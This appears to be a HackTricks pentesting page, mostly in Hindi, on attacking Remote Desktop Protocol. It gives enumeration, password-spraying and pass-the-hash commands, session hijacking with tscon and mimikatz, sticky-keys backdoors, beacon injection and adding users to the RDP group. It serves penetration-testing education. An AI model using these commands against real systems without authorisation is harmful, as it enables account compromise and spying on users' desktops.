131 lines
9.8 KiB
Markdown

# 3389 - Pentesting RDP
{{#include ../banners/hacktricks-training.md}}
## Basic Information
Microsoft द्वारा विकसित, **Remote Desktop Protocol** (**RDP**) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण का निर्बाध नियंत्रण और पहुंच प्रदान करता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
**Default port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeration
### Automatic
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
यह उपलब्ध एन्क्रिप्शन और DoS कमजोरियों की जांच करता है (सेवा को DoS का कारण बने बिना) और NTLM Windows जानकारी (संस्करण) प्राप्त करता है।
### [Brute force](../generic-hacking/brute-force.md#rdp)
**सावधान रहें, आप खातों को लॉक कर सकते हैं**
### **Password Spraying**
**सावधान रहें, आप खातों को लॉक कर सकते हैं**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### ज्ञात क्रेडेंशियल्स/हैश के साथ कनेक्ट करें
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### RDP सेवाओं के खिलाफ ज्ञात क्रेडेंशियल्स की जांच करें
impacket से rdp_check.py आपको यह जांचने की अनुमति देता है कि क्या कुछ क्रेडेंशियल्स RDP सेवा के लिए मान्य हैं:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
## **हमले**
### सत्र चोरी
**SYSTEM अनुमतियों** के साथ, आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुंच सकते हैं बिना मालिक के पासवर्ड को जाने।
**खुले सत्र प्राप्त करें:**
```
query user
```
**चुनी गई सत्र तक पहुँच**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
अब आप चयनित RDP सत्र के अंदर होंगे और आपको केवल Windows उपकरणों और सुविधाओं का उपयोग करके एक उपयोगकर्ता का अनुकरण करना होगा।
**महत्वपूर्ण**: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।
आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ इंटरैक्ट करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
#### **Mimikatz**
आप इसे करने के लिए mimikatz का भी उपयोग कर सकते हैं:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
इस तकनीक को **stickykeys** या **utilman** के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।
आप इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
यदि किसी अन्य डोमेन से कोई व्यक्ति या **बेहतर विशेषाधिकार** के साथ RDP के माध्यम से उस PC में लॉगिन करता है जहाँ **आप एक Admin** हैं, तो आप उसके **RDP सत्र प्रक्रिया** में अपना बीकन **inject** कर सकते हैं और उसके रूप में कार्य कर सकते हैं:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
{{#endref}}
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Automatic Tools
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** एक पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क है जो पॉवरशेल में बनाया गया है, जिसे मुख्य रूप से Microsoft Windows कंप्यूटर पर **Shadow** हमले को स्वचालित करने के लिए डिज़ाइन किया गया है। यह भेद्यता (जिसे Microsoft द्वारा एक विशेषता के रूप में सूचीबद्ध किया गया है) एक दूरस्थ हमलावर को **बिना उसकी सहमति के उसके शिकार के डेस्कटॉप को देखने** की अनुमति देती है, और यहां तक कि इसे मांग पर नियंत्रित करने की भी, ऑपरेटिंग सिस्टम के अपने मूल उपकरणों का उपयोग करके।
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- कमांड लाइन से स्वचालित तरीके से माउस और कीबोर्ड को नियंत्रित करें
- कमांड लाइन से स्वचालित तरीके से क्लिपबोर्ड को नियंत्रित करें
- क्लाइंट से एक SOCKS प्रॉक्सी उत्पन्न करें जो RDP के माध्यम से लक्षित नेटवर्क संचार को चैनल करता है
- लक्षित पर फ़ाइलें अपलोड किए बिना मनचाहे SHELL और PowerShell कमांड निष्पादित करें
- लक्षित पर फ़ाइल ट्रांसफर बंद होने पर भी लक्षित से फ़ाइलें अपलोड और डाउनलोड करें
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
यह उपकरण शिकार RDP में **ग्राफिकल इंटरफेस की आवश्यकता के बिना** कमांड निष्पादित करने की अनुमति देता है।
## HackTricks Automatic Commands
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
{{#include ../banners/hacktricks-training.md}}